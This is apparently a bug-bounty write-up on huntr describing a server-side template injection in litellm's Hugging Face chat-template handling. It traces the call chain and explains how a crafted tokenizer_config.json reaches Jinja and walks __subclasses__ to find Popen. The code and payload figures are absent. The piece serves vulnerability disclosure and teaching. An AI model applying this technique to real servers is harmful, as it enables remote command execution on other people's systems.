<img height="1" width="1" style="display:none;" alt="" src="https://px.ads.linkedin.com/collect/?pid=4373740&amp;fmt=gif">

How I Discovered a Server-Side Template Injection Vulnerability in berriai/litellm

Introduction

Hi, everyone! My name is Mevlüt Akçam, aka mvlttt on huntr, and I'm excited to break down my discovery of a Server-Side Template Injection (SSTI) vulnerability in the /completions endpoint of the berriai/litellm project. Here’s how I uncovered and reported this vulnerability.
 

Detailed Overview of SSTI Vulnerability

  • Vulnerability Type: Server-Side Template Injection (SSTI)
  • Vulnerability Type: CWE-76: Improper Neutralization of Equivalent Special Elements
  • Endpoint Affected: /completions
  • Reported On: February 8th, 2024

The vulnerability arises in the hf_chat_template method, where the chat_template parameter from the tokenizer_config.json file of a Hugging Face model is processed through the Jinja template engine, making it susceptible to SSTI attacks.

Analyzing the Vulnerability in Detail

The key issue lies in how the chat_template parameter is handled within the hf_chat_template method. Here’s a snippet of the problematic code:

 

To verify if we can control the chat_template input, I traced the function calls backward, finding that the input comes from a Hugging Face model’s configuration file. This discovery meant I could upload a model with a crafted tokenizer_config.json file containing my exploit payload.

Step-by-Step Analysis of SSTI Discovery Process

Here is my step-by-step analysis of how I discovered and exploited the vulnerability:

After a little egrep process, we find the code fragments containing Jinja's "from_string" function.
 
 
 When we examine the function, we see that there is a potential SSTI (Server Side Template Injection) vulnerability. But can we control the input? Let's analyze backwards to find the input to the "from_string" function.
 
 
 
 
At this stage, the `_get_tokenizer_config` function receives the information in a model configuration file from HuggingFace and parses these values ​​and assigns the `chat_template` value in the configuration file to the `chat_template` variable we need. Okay, we can upload any model we want to HuggingFace and the space we can control in the URL is enough for us. So, can we control the model name sufficiently?
 
 
 
 
 
When we follow the function calls backwards, a tree appears as follows.
hf_chat_template <- prompt_factory <- Huggingface.completion <- completion <- text_completion (wrapper_async) <- atext_completion

The `atext_completion` function can be called by `/v1/completions`, `/completions` or `/engines/{model:path}/completions` route and the model is obtained from the user if there is no default model.
 
 
 
So, does the model parameter change between these two functions? Are we still in control? It doesn't actually change, but we need to make some additions to the model parameter to complete the flow and reach our target function. In this case, the model parameter is parsed with the "get_llm_provider" function below.
 
 
 
The `custom_llm_provider` parameter is the first part of the model, split by "/". Since this value must be found in litellm.provider_list, the model must start with "huggingface/".
 
 
 
Then when we configure the model name as "huggingface/<user_name>/<model_name>" we can achieve our goal and access the HuggingFace repository we want.Now it's time to write the "tokenizer_config.json" file. There are 3 variables that should be in this file: bos_token, eos_token, and chat_template.However, bos_token and eos_token only need to exist so as not to disrupt the flow of the application.
 
 
Now in development of "chat_template" payload. In the SSTI vulnerability in Python, we call functions via "__subclasses__", but the functions and index numbers may vary.
 
 

 

Therefore, by get the "__subclasses__" part in a loop, we can make it call this function if the function name is Popen.

 
 
The final version of the "tokenizer_config.json" file is as follows:
 
 
It looks like everything is ready, now we can upload the model to the HuggingFace repository. Now we are ready to trigger the vulnerability by making the following request to the server.
 
 

image (1)

Conclusion

This journey has been an exciting challenge, highlighting the importance of understanding the flow of user inputs through an application. By meticulously tracing the code and identifying the points of vulnerability, I was able to demonstrate a significant security flaw in the berriai/litellm project. I hope this detailed walkthrough provides valuable insights into the process of identifying and exploiting SSTI vulnerabilities.

 

👉 Think you have the skills to discover unique vulnerabilities like our talented community members? Dive into the hunt at huntr.com and show us what you’ve got!